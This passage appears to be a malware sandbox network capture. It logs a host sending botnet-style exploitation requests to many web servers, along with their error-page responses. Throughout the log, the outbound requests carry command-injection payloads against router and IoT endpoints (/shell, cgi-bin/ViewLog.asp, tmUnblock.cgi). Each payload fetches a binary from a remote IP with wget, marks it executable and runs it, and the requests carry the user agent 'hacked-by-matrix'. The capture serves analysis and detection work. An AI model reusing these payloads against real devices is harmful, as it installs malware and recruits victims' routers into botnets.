type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Ungltiges Zeichen im Methodennamen [3&remoteSubmit=Save0x0d0x0a0x0d0x0a...] gefunden. HTTP Methodennamen mssen Token sein</p><p><b>Beschreibung</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).</p><p><b>Exception</b></p><pre>java.lang.IllegalArgumentException: Ungltiges Zeichen im Methodennamen [3&remoteSubmit=Save0x0d0x0a0x0d0x0a...] gefunden. HTTP Methodennamen mssen Token seinorg.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11I
Mar 21, 2024 05:18:37.531217098 CET	920	IN	Data Raw: 6e 70 75 74 42 75 66 66 65 72 2e 6a 61 76 61 3a 34 30 37 29 0d 0a 09 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 79 6f 74 65 2e 68 74 74 70 31 31 2e 48 74 74 70 31 31 50 72 6f 63 65 73 73 6f 72 2e 73 65 72 76 69 63 65 28 48 74 74 70 31 31 50 72 6f 63 Data Ascii: nputBuffer.java:407)org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:263)org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)org.apache.coyote.AbstractProtocol$ConnectionHandler.process

Session ID	Source IP	Source Port	Destination IP	Destination Port
1202	192.168.2.13	33710	20.98.227.170	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.407532930 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1203	192.168.2.13	38912	178.210.76.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.432507038 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:37.104783058 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:37.316262960 CET	214	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.22.1 Date: Thu, 21 Mar 2024 04:18:37 GMT Content-Type: text/html Content-Length: 48623 Connection: keep-alive ETag: "63ca60b8-bdef"
Mar 21, 2024 05:18:37.316642046 CET	1286	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> - </title> <link href="https://fonts.go
Mar 21, 2024 05:18:37.316708088 CET	1286	IN	Data Raw: 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 5b Data Ascii: n=input.length,value; while (i < len) { value = input[i++]; if ( (value & 0xF800) === 0xD800 ) { throw new RangeError("UTF-16(encode): Illegal UTF-16 value"); }
Mar 21, 2024 05:18:37.316792965 CET	1286	IN	Data Raw: 3e 3e 20 31 29 3b 20 6b 20 2b 3d 20 62 61 73 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 65 6c 74 61 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 64 65 6c 74 61 20 2f 20 28 20 62 61 73 65 20 2d 20 74 6d 69 6e 20 29 29 3b 0a 20 Data Ascii: >> 1); k += base) { delta = Math.floor(delta / ( base - tmin )); } return Math.floor(k + (base - tmin + 1) * delta / (delta + skew)); } function encode_basic(bcp, flag) { bcp -= (bcp - 97 < 26)
Mar 21, 2024 05:18:37.316859007 CET	1286	IN	Data Raw: 20 64 65 63 6f 64 65 5f 64 69 67 69 74 28 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 63 2b 2b 29 29 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 64 69 67 69 74 20 3e 3d 20 62 61 73 65 29 20 7b 0a 20 Data Ascii: decode_digit(input.charCodeAt(ic++)); if (digit >= base) { throw RangeError("punycode_bad_input(2)"); } if (digit > Math.floor((maxint - i) / w)) {
Mar 21, 2024 05:18:37.316909075 CET	1286	IN	Data Raw: 69 5d 20 3d 20 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6f 75 74 70 75 74 5b 69 5d 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 29 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0); } } } return this.utf16.encode(output); }; this.encode = function (input,preserveCase) { var n, delta, h, b, bias,
Mar 21, 2024 05:18:37.316965103 CET	1286	IN	Data Raw: 69 6a 76 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 20 2d 20 6e 20 3e 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 28 6d 61 78 69 6e 74 20 2d 20 64 65 6c 74 61 29 20 2f 20 28 68 20 2b 20 31 29 29 Data Ascii: ijv; } if (m - n > Math.floor((maxint - delta) / (h + 1))) { throw RangeError("punycode_overflow (1)"); } delta += (m - n) * (h + 1); n = m; for (j = 0;
Mar 21, 2024 05:18:37.317033052 CET	1286	IN	Data Raw: 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 3d 30 3b 20 69 20 3c 20 64 6f 6d 61 69 6e 5f 61 72 72 61 79 2e 6c 65 6e 67 74 68 3b 20 2b 2b 69 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 6d Data Ascii: []; for (var i=0; i < domain_array.length; ++i) { var s = domain_array[i]; out.push( s.match(/[^A-Za-z0-9-]/) ? "xn--" + punycode.encode(s) : s );
Mar 21, 2024 05:18:37.317137957 CET	1286	IN	Data Raw: 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 32 34 70 78 3b 0a 09 09 09 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 09 09 09 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 09 09 09 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 Data Ascii: max-width: 1024px;display: flex;flex-direction: column;justify-content: space-between; flex: 1 0 auto; } .logo { padding: 30px 40px; } .content { display: flex;
Mar 21, 2024 05:18:37.317246914 CET	1286	IN	Data Raw: 70 6c 61 79 3a 20 67 72 69 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 67 72 69 64 2d 61 72 65 61 3a 20 6c 69 6e 6b 73 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 63 6f 6c 75 6d 6e 73 3a 20 72 65 70 65 61 Data Ascii: play: grid; grid-area: links; grid-template-columns: repeat(2, 1fr); grid-column-gap: 80px; grid-row-gap: 10px; font-size: 13px; } .footer-links>a { text-
Mar 21, 2024 05:18:38.657255888 CET	1286	IN	Data Raw: 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 46 33 46 34 46 37 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e Data Ascii: border-bottom: 1px solid #F3F4F7; } } </style></head><body><header> <div class="logo"> <a href="https://www.nic.ru/"> <svg width="100" height="42" viewBox="0 0 100 42" fill="no
Mar 21, 2024 05:18:40.706253052 CET	214	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.22.1 Date: Thu, 21 Mar 2024 04:18:37 GMT Content-Type: text/html Content-Length: 48623 Connection: keep-alive ETag: "63ca60b8-bdef"

Session ID	Source IP	Source Port	Destination IP	Destination Port
1204	192.168.2.13	51868	104.112.12.54	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.503056049 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:36.591058969 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:18:36 GMT Date: Thu, 21 Mar 2024 04:18:36 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 61 63 34 39 37 32 36 38 26 23 34 36 3b 31 37 31 30 39 39 34 37 31 36 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.ac497268.1710994716.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1205	192.168.2.13	43572	76.74.235.139	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.531044006 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:36.637624025 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:36 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 2
Mar 21, 2024 05:18:36.637643099 CET	1286	IN	Data Raw: 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 2c 0a 20 20 20 20 20 20 20 20 2e 72 65 61 73 6f 6e 2d Data Ascii: 50%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-color: #293A4A;
Mar 21, 2024 05:18:36.637669086 CET	1286	IN	Data Raw: 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 65 61 6b 3a 20 62 72 65 61 6b 2d 61 6c 6c 3b 0a 20 20 20 20 20 20 Data Ascii: ght: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align: center;
Mar 21, 2024 05:18:36.637686968 CET	1286	IN	Data Raw: 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 73 65 Data Ascii: eading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0; margin:
Mar 21, 2024 05:18:36.637703896 CET	1286	IN	Data Raw: 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 44 6a 31 78 64 65 76 4e 6e 62 55 33 56 46 66 54 45 4c 2f 57 33 33 Data Ascii: 9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGSD6bxI0RZSw3uuF0YjQHepj
Mar 21, 2024 05:18:36.637721062 CET	1286	IN	Data Raw: 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 59 37 70 34 38 35 45 53 41 56 6d 75 6c 64 76 7a 53 54 4b 77 32 66 Data Ascii: A8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGECjUABhPLMdT/uKL0RIQ8Dz
Mar 21, 2024 05:18:36.637737989 CET	1074	IN	Data Raw: 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 74 68 2b 64 2b 70 68 63 69 38 46 4a 66 31 66 77 61 70 69 34 34 72 Data Ascii: 8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb
Mar 21, 2024 05:18:36.637758017 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to hp306.hostpapa.com's <a href="mailto:admin@hostpap
Mar 21, 2024 05:18:36.637789965 CET	362	IN	Data Raw: 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 63 70 61 6e 65 6c 22 20 74 69 74 6c 65 3d 22 63 Data Ascii: ium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyright">Copyrigh

Session ID	Source IP	Source Port	Destination IP	Destination Port
1206	192.168.2.13	49906	172.67.70.156	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.532040119 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1207	192.168.2.13	44488	172.65.184.159	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.532180071 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1208	192.168.2.13	40560	172.67.169.3	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.559063911 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1209	192.168.2.13	48640	172.67.198.17	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.620347977 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1210	192.168.2.13	37618	154.12.202.120	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.634315968 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:36.829576015 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:09:21 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3602 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 